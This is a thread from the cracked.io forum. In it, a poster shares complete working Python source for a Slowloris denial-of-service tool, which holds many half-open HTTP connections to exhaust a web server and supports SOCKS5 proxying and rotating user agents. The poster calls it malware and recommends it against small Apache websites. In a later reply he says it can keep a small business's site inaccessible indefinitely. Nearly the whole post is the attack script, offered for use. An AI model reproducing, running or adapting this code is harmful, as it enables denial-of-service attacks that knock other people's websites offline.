Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!

cracked.io | Best Forum Around | Free Premium Accounts




 989

Slow Loris V2

by SandPhantom - 17 May, 2019 - 04:23 PM
This post is by a banned member (SandPhantom) - Unhide
44
Posts
5
Threads
4 Years of service
#1
Code:
import argparse
import logging
import random
import socket
import sys
import time



parser = argparse.ArgumentParser( description="Slowloris, low bandwidth stress test tool for websites")

parser.add_argument("host", nargs="?", help="Host to perform stress test on")

parser.add_argument("-p", "--port", default=80, help="Port of webserver, usually 80", type=int)

parser.add_argument("-s","--sockets",default=200,help="Number of sockets to use in the test",type=int,)

parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Increases logging")

parser.add_argument("-ua","--randuseragents",dest="randuseragent",action="store_true",help="Randomizes user-agents with each request",)

parser.add_argument("-x","--useproxy",  dest="useproxy",action="store_true",help="Use a SOCKS5 proxy for connecting")

parser.add_argument("--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host")

parser.add_argument("--proxy-port", default="8080", help="SOCKS5 proxy port", type=int)

parser.add_argument( "--https", dest="https", action="store_true", help="Use HTTPS for the requests")

parser.add_argument("--sleeptime",dest="sleeptime",default=15, type=int, help="Time to sleep between each header sent.",)

parser.set_defaults(verbose=False)

parser.set_defaults(randuseragent=False)

parser.set_defaults(useproxy=False)

parser.set_defaults(https=False)

args = parser.parse_args()



if len(sys.argv) <= 1:
   parser.print_help()
   sys.exit(1)



if not args.host:
   print("Host required!")
   parser.print_help()
   sys.exit(1)



if args.useproxy:

   # Tries to import to external "socks" library

   # and monkey patches socket.socket to connect over

   # the proxy by default

   try:
       import socks
       socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
       socket.socket = socks.socksocket
       logging.info("Using SOCKS5 proxy for connecting...")
   except ImportError:
       logging.error("Socks Proxy Library Not Available!")

if args.verbose:
   logging.basicConfig(
       format="[%(asctime)s] %(message)s",
       datefmt="%d-%m-%Y %H:%M:%S",
       level=logging.DEBUG,
   )

else:

   logging.basicConfig(
       format="[%(asctime)s] %(message)s",
       datefmt="%d-%m-%Y %H:%M:%S",
       level=logging.INFO,
   )



if args.https:
   logging.info("Importing ssl module")
   import ssl



list_of_sockets = []

user_agents = [

   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
   "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
   "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
   "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
   "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
   "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
   "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",

]





def init_socket(ip):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(4)
   if args.https:
       s = ssl.wrap_socket(s)

   s.connect((ip, args.port))
   s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
   if args.randuseragent:
       s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
   else:
       s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
   s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
   return s

def main():
   ip = args.host
   socket_count = args.sockets
   logging.info("Attacking %s with %s sockets.", ip, socket_count)
   logging.info("Creating sockets...")
   for _ in range(socket_count):
       try:
           logging.debug("Creating socket nr %s", _)
           s = init_socket(ip)
       except socket.error as e:
           logging.debug(e)
           break
       list_of_sockets.append(s)
   while True:
       try:
           logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
           for s in list(list_of_sockets):
               try:
                   s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
               except socket.error:
                   list_of_sockets.remove(s)
           for _ in range(socket_count - len(list_of_sockets)):
               logging.debug("Recreating socket...")
               try:
                   s = init_socket(ip)
                   if s:
                       list_of_sockets.append(s)
               except socket.error as e:
                   logging.debug(e)
                   break
           logging.debug("Sleeping for %d seconds", args.sleeptime)
           time.sleep(args.sleeptime)
       except (KeyboardInterrupt, SystemExit):
           logging.info("Stopping Slowloris")
           break
if __name__ == "__main__":

   main()
##Can be used against small websites using apache services##
##New to using python for mal##
##Code needs some love##
This post is by a banned member (демон) - Unhide
73
Posts
4
Threads
4 Years of service
#2
sorry, this tool is for what?



This post is by a banned member (SandPhantom) - Unhide
44
Posts
5
Threads
4 Years of service
#3
(17 May, 2019 - 04:24 PM)демон Wrote: Show More
sorry, this tool is for what?

Slow Loris is a type of DDoS that uses less bandwidth than using a botnet. It accesses ports and keeps them open for as long as possible. A new port is created each time its predecessor expires, theoretically allowing a person to keep a small businesses' website inaccessible for as long as they want.
This post is by a banned member (SandPhantom) - Unhide
44
Posts
5
Threads
4 Years of service
#4
This is a bump

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)